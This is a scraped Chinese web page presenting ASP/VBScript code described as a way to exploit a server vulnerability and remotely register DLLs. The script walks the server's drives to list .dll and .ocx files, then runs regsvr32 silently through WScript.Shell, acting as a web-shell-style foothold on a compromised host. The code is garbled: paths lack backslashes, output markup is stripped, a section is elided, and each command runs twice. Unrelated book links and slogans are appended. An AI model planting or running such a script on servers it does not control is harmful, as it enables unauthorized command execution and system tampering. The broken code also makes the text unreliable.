加入收藏 | 设为首页 | 会员中心 | 我要投稿 555手机网 (https://www.555shouji.com/)- 热门手机、手机评测、云手机、手游、5G!
当前位置: 首页 > 趣闻 > 正文

利用对方服务器漏洞远程注册DLL

发布时间:2019-11-26 00:49:16 所属栏目:趣闻 来源:本站整理
导读:,利用对方服务器漏洞远程注册DLL




<%
Class clsRegister

Private m_oFS

Public Property Let oFS(objOFS)
m_oFS = objOFS
End Property
……
Sub init(strRoot) 'Root to Search (c:, d:, e:)
Dim oDrive, oRootDir
IF oFS.FolderExists(strRoot) Then
IF Len(strRoot) < 3 Then 'Must Be a Drive
Set oDrive = oFS.GetDrive(strRoot)
Set oRootDir = oDrive.RootFolder
Else
Set oRootDir = oFS.GetFolder(strRoot)
End IF
Else
EchoB("噢,文件夹( " & strRoot & " )没找到!")
      Exit Sub
    End IF
    setRoot = oRootDir
    
    Echo("")
    BuildOptions
  End Sub
  
  Sub getAllDlls(oParentFolder)
  Dim oSubFolders, oFile, oFiles
    Set oSubFolders = oParentFolder.SubFolders
    Set opFiles = oParentFolder.Files
    
    For Each oFile in opFiles
      IF Right(lCase(oFile.Name), 4) = ".dll" OR Right(lCase(oFile.Name), 4) = ".ocx" Then
        Echo("")
      End IF
    Next
    
    On Error Resume Next
    For Each oFolder In oSubFolders 'Iterate All Folders in Drive
      Set oFiles = oFolder.Files
      For Each oFile in oFiles
        IF Right(lCase(oFile.Name), 4) = ".dll" OR Right(lCase(oFile.Name), 4) = ".ocx" Then
          Echo("")
        End IF
      Next
      Call getAllDlls(oFolder)
    Next
    On Error GoTo 0
  End Sub

  Sub Register(strFilePath, regMethod)
  Dim theFile, strFile, oShell, exitcode
    Set theFile = oFS.GetFile(strFilePath)
    strFile = theFile.Path

    Set oShell = CreateObject ("WScript.Shell")

    IF regMethod = "REG" Then 'Register
      oShell.Run "c:WINNTsystem32regsvr32.exe /s " & strFile, 0, False
      exitcode = oShell.Run("c:WINNTsystem32regsvr32.exe /s " & strFile, 0, False)
       EchoB("regsvr32.exe exitcode = " & exitcode)
    Else 'unRegister
      oShell.Run "c:WINNTsystem32regsvr32.exe /u/s " & strFile, 0, False
      exitcode = oShell.Run("c:WINNTsystem32regsvr32.exe /u/s " & strFile, 0, False)
       EchoB("regsvr32.exe exitcode = " & exitcode)
    End IF
    
    Cleanup oShell
  End Sub
  
  Sub BuildOptions
    EchoB("Register: ")
    EchoB("unRegister: ")
  End Sub
  
  Function Echo(str)
    Echo = Response.Write(str & vbCrLf)
  End Function
  
  Function EchoB(str)
    EchoB = Response.Write(str & "
" & vbCrLf)
  End Function
  
  Sub Cleanup(obj)
    If isObject(obj) Then
      Set obj = Nothing
    End IF
  End Sub
  
  Sub Class_Terminate()
    Cleanup oFS
  End Sub
End Class
%>



----
最好的答案:  
http://www.huachu.com.cn/itbook/itbookinfo.asp?lbbh=BD04605180
http://www.waterpub.com.cn/sale/result.asp?id=5301  
最好的介绍:  
http://www.intels.net/
----
Internet是第一生产力; 
网站建设是它的核心; 
ASP 
就是网站的灵魂。
----
《ASP与相关数据库技术高级指南》[ASP的专家]

(编辑:555手机网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读